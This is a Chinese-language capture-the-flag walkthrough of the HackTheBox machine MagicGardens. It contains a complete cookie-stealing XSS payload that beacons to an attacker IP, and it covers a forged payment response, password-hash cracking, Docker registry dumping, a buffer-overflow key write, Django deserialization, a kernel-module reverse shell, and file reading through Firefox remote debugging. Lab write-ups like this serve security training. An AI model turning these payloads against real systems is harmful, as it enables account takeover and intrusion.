基本信息

端口扫描
22,80,5000:
1 | nmap -sC -sV 10.10.11.9 |
80
需要加hosts:
1 | 10.10.11.9 magicgardens.htb |
一个在线商城:

目录扫描
目录扫描可以看到admin之类的:
1 | gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://magicgardens.htb/ |
Magic Gardens
随意注册登录,发现一个Subscription功能:

正常测试请求包中得到银行域名honestbank.htb,同样加到hosts:

并且我们可以修改这里的bank地址,根据请求信息,我们应该需要伪造对应的响应来获取高级订阅:

payment
根据订阅时的请求数据直接构造对payment的请求,获取响应是402:

尝试自己构造server返回虚假的200响应,订阅时拦截替换银行地址,成功获取了高级订阅:


qrcode
预期路径后面打XSS会用到这个:
1 | http://magicgardens.htb/qr_code/images/serve-qr-code-image/?text=MTA1OGE0MmE4MWU1MjUyYzc2Y2IzMDhiY2Q2YTAyMTQuMGQzNDFiY2RjNjc0NmYxZDQ1MmIzZjRkZTMyMzU3Yjk%3D&cache_enabled=1&image_format=png&boost_error=1&encoding=utf-8&token=m.4..png.m.hRr1VC7DBMZLIdpg8rn2%3AnU3uw5StniCRNbPxPOKQOIv6rlvSp-blkH0tCYN4v5E |
messages
发送message功能需要目标用户存在,自己注册两个号测试即可,存在上传附件功能,发送后另一个用户查看,可以确认文件路径格式:
1 | /media/53ed67ce72148b6387c5d57cfa53c04d/b1aaa238a3bf9a19295face48bd5c607 |
usernames
(这部分属于非预期路径)
当用户名目录存在时,直接访问目录提示403,不存在时404,所以可以忽略文件名,来爆破存在的用户名:
1 | John |

另外注册时后也会有提示用户名已经存在,可以用来爆破已存在的用户:
1 | alex |

purchase
测试购买,提示出示二维码享受折扣:

消息中也有来自morty的信息,要求我们发给他二维码:

server.py
1 | from http.server import BaseHTTPRequestHandler, HTTPServer |
XSS
这里需要一点合理推测,他要求我们发送二维码,二维码中信息就是那个代码,会自动显示在他那里,打XSS,所以我们需要用xss payload生成二维码发给他
1 | 1058a42a81e5252c76cb308bcd6a0214.0d341bcdc6746f1d452b3f4de32357b9.</p><script>var i=new Image(); i.src="http://10.10.14.7:7777/?cookie="+btoa(document.cookie);</script><p> |

Diango admin
然后替换cookie,成为morty,可以访问admin:


morty
然后在change password->stores users中可以得到morty的hash,和非预期部分一样,破解出morty密码后ssh登录:
1 | pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I= |

Docker Registry
(这部分属于非预期路径,但预期路径得到alex后也会回到这里dump)
使用得到的用户名可以爆破5000端口的docker registry:
1 | alex diamonds |

dump
alex可以访问docker registry,常规dump:
- Syzik/DockerRegistryGrabber: Enumerate / Dump Docker Registry
https://github.com/Syzik/DockerRegistryGrabber
1 | python3 DockerGraber.py https://10.10.11.9 -U alex -P diamonds --list |

morty
其中480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz
可以得到一个sqlite文件,其中得到morty的hash:
1 | 2|pbkdf2_sha256$600000$y1tAjUmiqLtSdpL2wL3h56$61u2yMfK3oYgnL31fX8R4k/0hTc6YXRfiOH4LYVsEXo=|2023-06-06 17:34:56.520750|1|morty|||1|1|2023-06-06 17:32:24| |


然后可以破解出morty密码:
1 | sudo hashcat -m 10000 hash.txt ~/Tools/dict/rockyou.txt |
morty
得到的密码也是morty的ssh密码,但还没到user:

harvest
查看进程可以看到alex用户运行的harvest:

harvest
下载到本地分析:
1 | morty@magicgardens:~$ which harvest |
基础跟踪发现handle_raw_packets会接受输入,满足条件会写日志,这里注意是 raw_packet,那里实际判断的是ipv4和ipv6,而不是字符,就是对于ipv4数据只是输出到客户端终端,ipv6会进入日志



bof
本地运行测试:
1 | sudo strace ./harvest server -l log_packet.log |
emmm,本地kali里测试运行和宿主机交互流量干扰太严重,跳过了,但整个流程也不难,自己调吧
就是利用bof可以控制日志路径和写入内容,从而写公钥:
1 | 直接morty shell里运行client |
client.py
1 | import socket |
exp.py
1 | import socket |
user flag
bof写公钥后ssh连接:

信息
然后alex登录的时候提示有邮件,查看邮件发现一个和密码相关的邮件:

提取出zip,解压需要密码,破解:
1 | zip2john auth.zip |
然后使用得到的密码解压,里面是htpasswd文件,再次破解:
1 | alex:$2y$05$xZTYUkg.1Ohcrf31e3whieWMBhSinB/N0fznRJSqHr4KDQIuQ0txW |
邮件中也提到registry密码相同,就是5000端口那里的docker registry
docker registry
然后就和前面的registry部分一样了,dump,只是预期是从env获取app.settings和secret key:
1 | 480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz |
反序列化
拿到secret key后就可以生成任意cookie来打反序列化:
- PlaidCTF 2014: ReeKeeeee | System Overlord
https://systemoverlord.com/2014/04/14/plaidctf-2014-reekeeeee/
1 | $ python3 exp.py |
然后替换cookie中的sessionid,刷新,触发反序列化

这样打到的是容器内root:

exp.py
1 | import os |
Docker Escape & root flag
容器有cap_sys_module权限,参考:
- Linux Capabilities | HackTricks | HackTricks
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_module

就按照里面的步骤,make后insmod,得到宿主机root:
1 | make |


reverse-shell.c
1 |
|
Makefile
1 | obj-m +=reverse-shell.o |
非预期 root
firefox以root权限开着remote debug:

- Debugging — Firefox Source Docs documentation
https://firefox-source-docs.mozilla.org/remote/Debugging.html - Usage — Firefox Source Docs documentation
https://firefox-source-docs.mozilla.org/remote/cdp/Usage.html - Remotely debugging Firefox instances · Embrace The Red
https://embracethered.com/blog/posts/2020/cookies-on-firefox/
然后去对应profile目录查看,获取调试地址:
1 | morty@magicgardens:/tmp/rust_mozprofilemf92Rc$ cat DevToolsActivePort |
转发端口,本地连接,打开新页面然后打印成pdf:
- vi/websocat: Command-line client for WebSockets, like netcat (or curl) for ws:// with advanced socat-like functions
https://github.com/vi/websocat
1 | {"id": 1, "method": "Target.createTarget", "params": {"url": "file:///root/.ssh/id_rsa"}} |



这个现在也有新的自动工具了:
- offensive-security-pwncat/CDPwn: CDPwn is a python script designed to capture screenshots of files via the Chrome DevTools Protocol (CDP), a technique useful for privilege escalation when the CDP service runs with root permissions.
https://github.com/offensive-security-pwncat/CDPwn
flags
然后使用得到的私钥登录:

shadow
1 | root:$y$j9T$Gctu2C9XwCFVr1qINWJjA/$u8IdKz0x2uCYAzOIx0qxNvBQEjY0uOaRwgA1sRC8Aj8:19592:0:99999:7::: |
参考资料
- Syzik/DockerRegistryGrabber: Enumerate / Dump Docker Registry
https://github.com/Syzik/DockerRegistryGrabber - Debugging — Firefox Source Docs documentation
https://firefox-source-docs.mozilla.org/remote/Debugging.html - Usage — Firefox Source Docs documentation
https://firefox-source-docs.mozilla.org/remote/cdp/Usage.html - Remotely debugging Firefox instances · Embrace The Red
https://embracethered.com/blog/posts/2020/cookies-on-firefox/ - vi/websocat: Command-line client for WebSockets, like netcat (or curl) for ws:// with advanced socat-like functions
https://github.com/vi/websocat - PlaidCTF 2014: ReeKeeeee | System Overlord
https://systemoverlord.com/2014/04/14/plaidctf-2014-reekeeeee/ - Linux Capabilities | HackTricks | HackTricks
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_module - offensive-security-pwncat/CDPwn: CDPwn is a python script designed to capture screenshots of files via the Chrome DevTools Protocol (CDP), a technique useful for privilege escalation when the CDP service runs with root permissions.
https://github.com/offensive-security-pwncat/CDPwn